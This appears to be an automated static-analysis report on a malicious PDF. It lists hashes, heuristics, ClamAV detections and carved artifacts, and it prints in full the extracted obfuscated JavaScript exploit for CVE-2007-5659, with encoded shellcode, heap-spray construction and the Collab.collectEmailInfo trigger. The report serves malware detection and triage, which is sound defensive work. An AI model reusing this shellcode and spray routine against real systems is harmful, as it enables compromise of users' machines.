Malicious PDF — malware analysis report

Static analysis result for SHA-256 814cd5d5a013a18d…

MALICIOUS

PDF

646.1 KB Created: 2008-02-27 16:58:09 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 6.0.1 (Windows)) First seen: 2026-05-09
MD5: bc5cf40afbf74342c15df1baad211e43 SHA-1: f7b558741503ba6f29af114cfd660ef19f88d054 SHA-256: 814cd5d5a013a18dc43f77a61e49decb3c6847e2fa08974704c365f4fb209e92
426 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file exploits CVE-2007-5659 using obfuscated JavaScript, which is designed to perform a heap spray. The embedded JavaScript is heavily obfuscated and multistage, indicating an attempt to conceal its true purpose, which is likely to download and execute a secondary payload. ClamAV detections of 'Win.Trojan.Dropper-82' further support its malicious nature.

Machine Learning

  • Nyx PDF Classifier malicious score 0.8364

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Win.Trojan.Dropper-82 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Dropper-82
  • PDF embedded file could not be fully decoded medium PDF_EMBEDDED_FILE_UNDECODED
    A declared PDF /EmbeddedFile stream uses filters that the scanner could not decode. The raw stream was carved for artifact triage because malformed or unsupported attachment filters can hide payload content from normal extraction.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.fonts.dehttp://www.microsoft.com/typography/designers/hzapf.htmThis In PDF document text
    • http://www.LinotypeLibrary.com/In PDF document text
    • http://www.w3.org/1999/xhtmlIn PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
taa pdf-embedded-file-undecodable PDF EmbeddedFile object 20 at offset 0xED4; filter decode failed 50316 bytes
SHA-256: e4aebcac13a766795acc5b42202c82773469bc3289dc5592e35f8bc60a18e14b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x676 4622 bytes
SHA-256: a855e1484b6aa802ce0f6f936ba6d5b5bb5556ec34d1f510cb7f17c768fa4311
Detection
ClamAV: Win.Trojan.Dropper-82
Obfuscation or payload: likely
Carved artifact contains 16 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function re(count,what) 
{
var v = "";
while (--count >= 0) 
v += what;
return v;
} 
function start() 
{
sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
"%u7466%u515a%u7043%u7050%u7070%u5050%u6B68%u5064%u4C50%u4B68%u5077%u6C71%u4D5a%u6B58%u5047%u4850%u794e%u4453%u6250%u5070%u5050%u7875%u5168%u4C4e%u5050%u6270%u5050%u5050%u4B68%u6C4f%u4978%u5747%u7850%u4978%u7744%u5061%u6F6f%u5757%u7850%u4866%u6C4e%u7759%u4350%u6C70%u584e%u644c%u6150%u7050%u7070%u4948%u4754%u4C61%u4F4f%u5747%u7870%u4866%u764f%u5262%u594b%u4C67%u584e%u446b%u7150%u7050%u7050%u6948%u7774%u7052%u4F6f%u7777%u6870%u7876%u457a%u7761%u5050%u6C67%u684e%u544a%u7170%u7050%u7070%u7958%u7764%u7472%u4F4f%u4767%u5870%u5866%u4B6f%u6779%u6D4f%u6F50%u584e%u5449%u6150%u7050%u7070%u5958%u4764%u5852%u4F4f%u4767%u6850%u4856%u6651%u6576%u7A4f%u7041%u786e%u6458%u4150%u5070%u7070%u4978%u6764%u4C62%u6F6f%u6767%u7850%u5866%u4F41%u6967%u5A70%u684e%u686e%u7467%u5150%u7050%u5050%u4948%u5774%u5063%u4F6f%u7767%u6850%u7856%u5572%u706b%u4F4f%u726c%u484e%u6446%u5170%u5050%u5070%u7968%u5754%u7463%u6F4f%u6777%u5870%u4856%u6C5a%u4850%u7A4d%u5667%u784e%u7455%u4170%u7070%u5050%u4948%u7744%u7853%u6F4f%u4747%u7850%u4866%u4849%u4E6f%u4A58%u4E70%u586e%u4474%u6170%u5050%u5050%u5978%u5744%u4C73%u4F4f%u4757%u7850%u4846%u5467%u4968%u6C6e%u6959%u584e%u6463%u4170%u5050%u5070%u7958%u4754%u7054%u4F4f%u7777%u7850%u4846%u6E47%u784d%u524e%u5377%u786e%u4452%u4170%u7070%u7070%u5958%u5764%u4464%u6F6f%u5757%u6850%u7856%u4D5a%u6B49%u4D77%u4F4d%u784e%u7441%u7170%u7050%u7050%u7978%u6744%u6864%u6F4f%u5777%u5061%u6F6f%u6775%u6473%u6363%u766f%u4664%u6D78%u6764%u5046%u7045%u7645%u4F6f%u5755%u4854%u7358%u584f%u4F6f%u4447%u726f%u4D73%u7070%u5041%u7070%u7050%u4667%u4B4e%u7978%u4774%u7450%u4978%u5747%u5046%u6F6f%u5757%u4470%u7A46%u7054%u6F4f%u6765%u4C51%u7948%u5744%u6C45%u5A76%u5070%u6A46%u5070%u4A56%u7070%u6F6f%u5747%u7066%u6F4f%u7775%u4873%u4348%u584f%u6F4f%u4447%u6B54%u6A46%u7070%u6D78%u6F45%u5057%u5375%u4F4f%u4757%u6470%u4F6f%u5777%u6C65%u6F4f%u7747%u5056%u4F6f%u4745%u4C62%u4B68%u4F74%u5067%u7378%u696e%u7041%u4B48%u5744%u4C45%u5074%u4148%u4873%u4664%u4E62%u7A55%u4876%u7567%u4950%u5148%u5847%u6470%u6352%u7650%u7148%u6951%u5477%u5450%u526e%u6C4e%u6B6e%u4A41%u7378%u506c%u4850%u5948%u7744%u6451%u7064%u4148%u4853%u6A74%u5567%u5356%u6B64%u5557%u4970%u7178%u7847%u6470%u6241%u4150%u5348%u6961%u4447%u6E50%u624e%u4C4e%u4F6f%u5777%u6C45%u4F4f%u7745%u7052%u6F70%u5548%u4267%u6F6f%u4F4f%u6F4f%u6378%u706c%u7850%u7978%u6744%u5871%u4A76%u7070%u7866%u5068%u7050%u7070%u5070%u5A66%u6270%u5A76%u7070%u4A46%u5050%u7856%u7070%u5050%u7070%u7064%u4F4f%u4777%u5071%u6F6f%u4765%u7462%u4978%u7774%u7476%u776c%u6754%u4C46%u6D54%u7A65%u7049%u5050%u6A56%u5070%u4D78%u6F55%u7047%u5355%u7A66%u6450%u4D48%u6F65%u4C76%u6375%u6F6f%u5767%u4466%u6F4f%u6765%u7063%u4B68%u7774%u5851%u6B42%u5754%u5461%u7368%u586e%u5850%u6B78%u4F55%u7471%u7043%u5370%u6374%u7844%u5368%u786f%u5050%u6557%u474f%u5A46%u7050%u4D58%u4F65%u5067%u6375%u4B58%u4F65%u4841%u6B52%u4F65%u4441%u6358%u4B4e%u6870%u6375%u4F6f%u4757%u6441%u4F6f%u5767%u7456%u4F4f%u5745%u7073%u6F4f%u4747%u5446%u6F4f%u4765%u6862%u5A56%u7050%u6F4f%u5767%u5071%u4F6f%u6755%u6C63%u7A56%u5050%u4F4f%u4745%u4454%u7575%u6B68%u4C6e%u4745%u4B78%u4D77%u6870%u4B78%u6D75%u4C70%u6645%u4B68%u5357%u6C53%u6B48%u5457%u4E71%u7857%u4350%u736f%u6675%u4B58%u4677%u5042%u7350%u734f%u6343%u696c%u6974%u4174%u6D7a%u4370%u636c%u4675%u7373%u564f%u4F70%u6E4b%u7071%u5A73%u626f%u7467%u5850%u414c%u4E4c%u6D50%u4350%u524f%u5044%u6B4e%u514f%u4B53%u4E6f%u4E45%u5567%u454e%u4A75%u6B58%u4B6e%u6B58%u6A75%u6442%u7370%u4D6d%u7656%u4B48%u6C70%u6B74%u4B58%u4A45%u6C51%u6370%u4D4d%u6B78%u6470%u4B58%u6350%u754c%u6E45%u4F55%u6D65%u626c%u7850%u7050%u486e%u476c%u6D6f%u4F4f%u6F6f%u4346%u4A73%u6C55%u5176%u4E52%u5556%u5857%u7576%u7050" +
"%u3030");

if (app.viewerVersion >= 7.0)
{
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") + re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) + sc + re(80,unescape("%u9090%u9090"))+ unescape("%ue7e9%ufff9")+unescape("%uffff%uffff") + unescape("%uf6eb%uf4eb") + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;

plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",1200);
font_00_sfnt_off000801e8.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x801E8 37505 bytes
SHA-256: c2d24eb10030cc1554a1ac770d0589c487006e1923b71f0643c5432135c56ecb
font_01_cff_off0008530b.bin pdf-font-stream PDF embedded font (cff) at offset 0x8530B 2312 bytes
SHA-256: 6f7d0254022174ff25d1f2137848b1be40a16587d2f8650e91efba0e4796e553
font_02_sfnt_off00085f97.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x85F97 53805 bytes
SHA-256: 6cddcdd51335767d4015d31283ea21cea48097d60535b29e16634c1656b05874
font_03_cff_off0008d4d7.bin pdf-font-stream PDF embedded font (cff) at offset 0x8D4D7 885 bytes
SHA-256: e718e3a999849e922c215d1559efa77ce32ef8b1512401783e739efd9d2cc5a3

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